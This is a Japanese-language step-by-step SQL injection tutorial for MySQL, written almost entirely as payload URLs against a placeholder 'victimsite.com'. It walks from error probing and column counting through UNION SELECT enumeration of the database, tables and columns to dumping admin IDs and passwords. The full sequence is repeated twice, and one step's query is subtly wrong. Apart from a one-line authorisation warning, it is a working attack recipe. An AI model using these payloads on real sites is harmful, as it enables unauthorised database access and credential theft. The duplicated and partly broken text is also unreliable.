SQL Injection
自分サイトの許可された範囲以外で決して実行しないでください。
MySQL想定で進めます。以下のように置き換えればMySQL以外も確認可能です。
MYSQL:→user () MS-SQL→ user_name() ORACLE→ select user from dual;
Step1 挙動差異を確認
http://www.victimsite.com/index.php?id=2′
Step2 列数を確認
うまくいかない時は– –を追加
http://www.victimsite.com/index.php?id=2 order by 7
(noerror)
http://www.victimsite.com/index.php?id=2 order by 8
(error)
Step3 列を表示
idの値を負の値に変更してください(union select NULL, NULL, NULL, NULL, でも可)
http://www.victimsite.com/index.php?id=-2 union select 1,2,3,4,5,6,7–
http://www.victimsite.com/index.php?id=-2 and 1=2 union select 1,2,3,4,5,6,7–
Step4 返してしまった列でまず情報を確認
http://www.victimsite.com/index.php?id=-2 and 1=2 union select 1,2,version(),4,5,6,7–
http://www.victimsite.com/index.php?id=-2 and 1=2 union select 1,2,database(),4,5,6,7–
http://www.victimsite.com/index.php?id=-2 and 1=2 union select 1,2,user(),4,5,6,7–
Step5 テーブル名を取得
http://www.victimsite.com/index.php?id=-2 and 1=2 union select 1,2,group_concat(table_name),4,5,6,7 from information_schema.tables where table_schema=database()–
Step6 列名を取得
mysqlcharの部分はHackBarアドオンなどでCHAR(97 、100,109,105,110)と変換する必要があります。
http://www.victimsite.com/index.php?id=-2 and 1=2 union select 1,2,group_concat(table_name),4,5,6,7 from
information_schema.columns WHERE table_name = mysqlchar-
Step7 仕上げ
group_concat(column_name)をgroup_concat(columnname、0x3a、anothercolumnname)に置き換えます
http://www.victimsite.com/index.php?id=-2
and 1=2 union select 1,2,group_concat(admin_id,0x3a,admin_password),4,5,6,7 from admin–
Step1 挙動差異を確認
http://www.victimsite.com/index.php?id=2′
Step2 列数を確認
うまくいかない時は– –を追加
http://www.victimsite.com/index.php?id=2 order by 7
(noerror)
http://www.victimsite.com/index.php?id=2 order by 8
(error)
Step3 列を表示
idの値を負の値に変更してください
http://www.victimsite.com/index.php?id=-2 union select 1,2,3,4,5,6,7–
http://www.victimsite.com/index.php?id=-2 and 1=2 union select 1,2,3,4,5,6,7–
Step4 返してしまった列でまず情報を確認
http://www.victimsite.com/index.php?id=-2 and 1=2 union select 1,2,version(),4,5,6,7–
http://www.victimsite.com/index.php?id=-2 and 1=2 union select 1,2,database(),4,5,6,7–
http://www.victimsite.com/index.php?id=-2 and 1=2 union select 1,2,user(),4,5,6,7–
Step5 テーブル名を取得
http://www.victimsite.com/index.php?id=-2 and 1=2 union select 1,2,group_concat(table_name),4,5,6,7 from information_schema.tables where table_schema=database()–
Step6 列名を取得
mysqlcharの部分はHackBarアドオンなどでCHAR(97 、100,109,105,110)と変換する必要があります。
http://www.victimsite.com/index.php?id=-2 and 1=2 union select 1,2,group_concat(table_name),4,5,6,7 from
information_schema.columns WHERE table_name = mysqlchar-
Step7 仕上げ
group_concat(column_name)をgroup_concat(columnname、0x3a、anothercolumnname)に置き換えます
http://www.victimsite.com/index.php?id=-2
and 1=2 union select 1,2,group_concat(admin_id,0x3a,admin_password),4,5,6,7 from admin–